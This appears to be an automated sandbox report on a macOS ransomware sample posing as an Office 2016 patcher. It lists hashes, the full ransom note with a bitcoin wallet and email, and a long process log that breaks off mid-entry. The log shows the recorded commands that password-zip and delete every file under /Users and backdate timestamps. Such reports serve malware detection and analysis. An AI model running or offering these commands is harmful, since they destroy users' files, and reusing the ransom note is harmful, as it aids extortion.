macfilecoder | f8dd1edd285ba0ee23250d7925dd7c230aaf3845ceedb6bcfe2913815c8775db

Target

filecoder.dmg
Size

2.5MB
MD5

5557a06822358ea7814891631f7df8ce
SHA1

f6e215ed5a1623de05c6f63033aa4f6d1a5696d6
SHA256

f8dd1edd285ba0ee23250d7925dd7c230aaf3845ceedb6bcfe2913815c8775db
SHA512

a592d44e8942dd223792baf0180bb4d06d0d9e0e2740a64c86c89435cefc3a704acc86ab0caee207eb549f7e8eaee777b66178bd4ac7f7c331d981b7e40a0d5b

Score

10^/10

macfilecoder ransomware

Malware Config

Extracted

Path

/Users/run/Documents/README!.txt

Ransom Note

NOT YOUR LANGUAGE? USE https://translate.google.com What happened to your files ? All of your files were protected by a strong encryption method. What do I do ? So , there are two ways you can choose: wait for a miracle or start obtaining BITCOIN NOW! , and restore YOUR DATA the easy way If You have really valuable DATA, you better NOT WASTE YOUR TIME, because there is NO other way to get your files, except make a PAYMENT FOLLOW THESE STEPS: 1) learn how to buy bitcoin https://en.bitcoin.it/wiki/Buying_Bitcoins_(the_newbie_version) 2)send 0.25 BTC to 1EZrvz1kL7SqfemkH3P1VMtomYZbfhznkb 3)send your btc address and your ip (you can get your ip here https://www.whatismyip.com) via mail to [email protected] 4)leave your computer on and connected to the internet for the next 24 hours after payment, your files will be unlocked. (If you can not wait 24 hours make a payment of 0.45 BTC your files will be unlocked in max 10 minutes) KEEP IN MIND THAT YOUR DECRYPTION KEY WILL NOT BE STORED ON MY SERVER FOR MORE THAN 1 WEEK SINCE YOUR FILE GET CRYPTED,THEN THERE WON'T BE ANY METHOD TO RECOVER YOUR FILES, DON'T WASTE YOUR TIME!

Emails

[email protected]

Wallets

1EZrvz1kL7SqfemkH3P1VMtomYZbfhznkb

URLs

https://en.bitcoin.it/wiki/Buying_Bitcoins_(the_newbie_version

https://www.whatismyip.com

Signatures

MacOSFilecoder
MacOSFilecoder family.
ransomware macfilecoder

/bin/sh
sh -c "sudo open /Volumes/filecoder/filecoder.app"
1⤵
PID:462

/bin/bash
sh -c "sudo open /Volumes/filecoder/filecoder.app"
1⤵
PID:462

/usr/bin/sudo
sudo open /Volumes/filecoder/filecoder.app
1⤵
PID:462
- /usr/bin/open
  open /Volumes/filecoder/filecoder.app
  2⤵
  PID:463

/Volumes/filecoder/filecoder.app/Contents/MacOS/Office 2016 Patcher
"/Volumes/filecoder/filecoder.app/Contents/MacOS/Office 2016 Patcher"
1⤵
PID:464

/usr/bin/find
/usr/bin/find "/Users/run/Documents/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:478
- /usr/bin/touch
  touch -mt 201002130000 "/Users/run/Documents/README!.txt"
  2⤵
  PID:479

/usr/bin/find
/usr/bin/find "/Users/run/Downloads/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:480
- /usr/bin/touch
  touch -mt 201002130000 "/Users/run/Downloads/README!.txt"
  2⤵
  PID:485

/usr/bin/find
/usr/bin/find "/Users/run/Movies/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:486
- /usr/bin/touch
  touch -mt 201002130000 "/Users/run/Movies/README!.txt"
  2⤵
  PID:487

/usr/bin/find
/usr/bin/find "/Users/run/Pictures/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:488
- /usr/bin/touch
  touch -mt 201002130000 "/Users/run/Pictures/README!.txt"
  2⤵
  PID:489

/usr/bin/find
/usr/bin/find "/Users/run/Music/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:490
- /usr/bin/touch
  touch -mt 201002130000 "/Users/run/Music/README!.txt"
  2⤵
  PID:491

/usr/bin/find
/usr/bin/find "/Users/run/Public/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:492
- /usr/bin/touch
  touch -mt 201002130000 "/Users/run/Public/README!.txt"
  2⤵
  PID:493

/usr/bin/find
/usr/bin/find "/Users/run/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:494
- /usr/bin/touch
  touch -mt 201002130000 "/Users/run/README!.txt"
  2⤵
  PID:495

/usr/bin/find
/usr/bin/find /Users/ -not -iname "README!.txt" -print -exec zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "{}.crypt" "{}" ";" -exec rm "{}" ";" -exec touch -mt 201002130000 "{}.crypt" ";"
1⤵
PID:496
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users/.crypt /Users/
  2⤵
  PID:497
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//.localized.crypt /Users//.localized
  2⤵
  PID:498
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//Shared.crypt /Users//Shared
  2⤵
  PID:499
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//Shared/adi.crypt /Users//Shared/adi
  2⤵
  PID:500
- /usr/bin/rm
  rm /Users//Shared/adi
  2⤵
  PID:501
- /bin/rm
  rm /Users//Shared/adi
  2⤵
  PID:501
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//Shared/.localized.crypt /Users//Shared/.localized
  2⤵
  PID:502
- /usr/bin/rm
  rm /Users//Shared/.localized
  2⤵
  PID:503
- /bin/rm
  rm /Users//Shared/.localized
  2⤵
  PID:503
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//Shared/.SeedEnrollment.plist.crypt /Users//Shared/.SeedEnrollment.plist
  2⤵
  PID:504
- /usr/bin/rm
  rm /Users//Shared/.SeedEnrollment.plist
  2⤵
  PID:505
- /bin/rm
  rm /Users//Shared/.SeedEnrollment.plist
  2⤵
  PID:505
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run.crypt /Users//run
  2⤵
  PID:506
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Music.crypt /Users//run/Music
  2⤵
  PID:507
- /usr/bin/rm
  rm /Users//run/Music
  2⤵
  PID:508
- /bin/rm
  rm /Users//run/Music
  2⤵
  PID:508
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Music/.localized.crypt /Users//run/Music/.localized
  2⤵
  PID:509
- /usr/bin/rm
  rm /Users//run/Music/.localized
  2⤵
  PID:510
- /bin/rm
  rm /Users//run/Music/.localized
  2⤵
  PID:510
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Music/.localized.crypt
  2⤵
  PID:511
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/.DS_Store.crypt /Users//run/.DS_Store
  2⤵
  PID:512
- /usr/bin/rm
  rm /Users//run/.DS_Store
  2⤵
  PID:513
- /bin/rm
  rm /Users//run/.DS_Store
  2⤵
  PID:513
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/.DS_Store.crypt
  2⤵
  PID:514
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/.CFUserTextEncoding.crypt /Users//run/.CFUserTextEncoding
  2⤵
  PID:515
- /usr/bin/rm
  rm /Users//run/.CFUserTextEncoding
  2⤵
  PID:516
- /bin/rm
  rm /Users//run/.CFUserTextEncoding
  2⤵
  PID:516
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/.CFUserTextEncoding.crypt
  2⤵
  PID:517
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Pictures.crypt /Users//run/Pictures
  2⤵
  PID:518
- /usr/bin/rm
  rm /Users//run/Pictures
  2⤵
  PID:519
- /bin/rm
  rm /Users//run/Pictures
  2⤵
  PID:519
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Pictures/.localized.crypt /Users//run/Pictures/.localized
  2⤵
  PID:520
- /usr/bin/rm
  rm /Users//run/Pictures/.localized
  2⤵
  PID:521
- /bin/rm
  rm /Users//run/Pictures/.localized
  2⤵
  PID:521
- /usr/bin/touch
  touch -mt 201002130000 /Users//run/Pictures/.localized.crypt
  2⤵
  PID:522
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary.crypt" "/Users//run/Pictures/Photos Library.photoslibrary"
  2⤵
  PID:523
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary"
  2⤵
  PID:524
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary"
  2⤵
  PID:524
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database"
  2⤵
  PID:525
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database"
  2⤵
  PID:526
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database"
  2⤵
  PID:526
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock"
  2⤵
  PID:527
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock"
  2⤵
  PID:528
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock"
  2⤵
  PID:528
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock.crypt"
  2⤵
  PID:529
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite"
  2⤵
  PID:530
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite"
  2⤵
  PID:531
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite"
  2⤵
  PID:531
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.crypt"
  2⤵
  PID:533
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db"
  2⤵
  PID:535
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db"
  2⤵
  PID:536
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db"
  2⤵
  PID:536
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db.crypt"
  2⤵
  PID:537
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search"
  2⤵
  PID:538
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search"
  2⤵
  PID:539
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search"
  2⤵
  PID:539
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist"
  2⤵
  PID:540
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist"
  2⤵
  PID:541
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist"
  2⤵
  PID:541
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist.crypt"
  2⤵
  PID:542
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data"
  2⤵
  PID:543
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data"
  2⤵
  PID:544
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data"
  2⤵
  PID:544
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data.crypt"
  2⤵
  PID:545
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm"
  2⤵
  PID:546
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm"
  2⤵
  PID:547
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm"
  2⤵
  PID:547
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm.crypt"
  2⤵
  PID:548
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal"
  2⤵
  PID:549
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal"
  2⤵
  PID:550
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal"
  2⤵
  PID:550
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal.crypt"
  2⤵
  PID:551
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist"
  2⤵
  PID:552
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist"
  2⤵
  PID:553
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist"
  2⤵
  PID:553
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist.crypt"
  2⤵
  PID:554
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist"
  2⤵
  PID:555
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist"
  2⤵
  PID:556
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist"
  2⤵
  PID:556
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist.crypt"
  2⤵
  PID:557
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist"
  2⤵
  PID:558
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist"
  2⤵
  PID:559
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist"
  2⤵
  PID:559
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist.crypt"
  2⤵
  PID:560
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist"
  2⤵
  PID:561
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist"
  2⤵
  PID:562
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist"
  2⤵
  PID:562
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist.crypt"
  2⤵
  PID:563
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite"
  2⤵
  PID:564
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite"
  2⤵
  PID:565
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite"
  2⤵
  PID:565
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite.crypt"
  2⤵
  PID:566
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/protection.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/protection"
  2⤵
  PID:568
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/protection"
  2⤵
  PID:569
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/protection"
  2⤵
  PID:569
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/protection.crypt"
  2⤵
  PID:570
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT"
  2⤵
  PID:571
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT"
  2⤵
  PID:572
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT"
  2⤵
  PID:572
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT/_EXTERNAL_DATA.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT/_EXTERNAL_DATA"
  2⤵
  PID:573
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT/_EXTERNAL_DATA"
  2⤵
  PID:574
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT/_EXTERNAL_DATA"
  2⤵
  PID:574
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal"
  2⤵
  PID:575
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal"
  2⤵
  PID:576
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal"
  2⤵
  PID:576
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal.crypt"
  2⤵
  PID:578
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist"
  2⤵
  PID:579
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist"
  2⤵
  PID:580
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist"
  2⤵
  PID:580
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist.crypt"
  2⤵
  PID:581
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm"
  2⤵
  PID:582
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm"
  2⤵
  PID:583
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm"
  2⤵
  PID:583
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm.crypt"
  2⤵
  PID:584
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db"
  2⤵
  PID:585
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db"
  2⤵
  PID:586
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db"
  2⤵
  PID:586
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db.crypt"
  2⤵
  PID:587
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources"
  2⤵
  PID:588
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources"
  2⤵
  PID:589
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources"
  2⤵
  PID:589
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives"
  2⤵
  PID:590
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives"
  2⤵
  PID:591
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives"
  2⤵
  PID:591
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs"
  2⤵
  PID:592
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs"
  2⤵
  PID:593
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs"
  2⤵
  PID:593
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration"
  2⤵
  PID:594
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration"
  2⤵
  PID:595
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration"
  2⤵
  PID:595
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration.crypt"
  2⤵
  PID:596
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/masters.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/masters"
  2⤵
  PID:597
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/masters"
  2⤵
  PID:598
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/masters"
  2⤵
  PID:598
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing"
  2⤵
  PID:599
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing"
  2⤵
  PID:600
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing"
  2⤵
  PID:600
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/data.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/data"
  2⤵
  PID:601
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/data"
  2⤵
  PID:602
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/data"
  2⤵
  PID:602
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/metadata.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/metadata"
  2⤵
  PID:603
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/metadata"
  2⤵
  PID:604
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/metadata"
  2⤵
  PID:604
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/caches.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/caches"
  2⤵
  PID:605
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/caches"
  2⤵
  PID:606
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/caches"
  2⤵
  PID:606
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/streams.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/streams"
  2⤵
  PID:607
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/streams"
  2⤵
  PID:608
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/streams"
  2⤵
  PID:608
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals"
  2⤵
  PID:609
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals"
  2⤵
  PID:610
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals"
  2⤵
  PID:610
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj"
  2⤵
  PID:611
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj"
  2⤵
  PID:612
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj"
  2⤵
  PID:612
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj.crypt"
  2⤵
  PID:613
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist"
  2⤵
  PID:614
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist"
  2⤵
  PID:615
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist"
  2⤵
  PID:615
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist.crypt"
  2⤵
  PID:616
- /usr/bin/zip
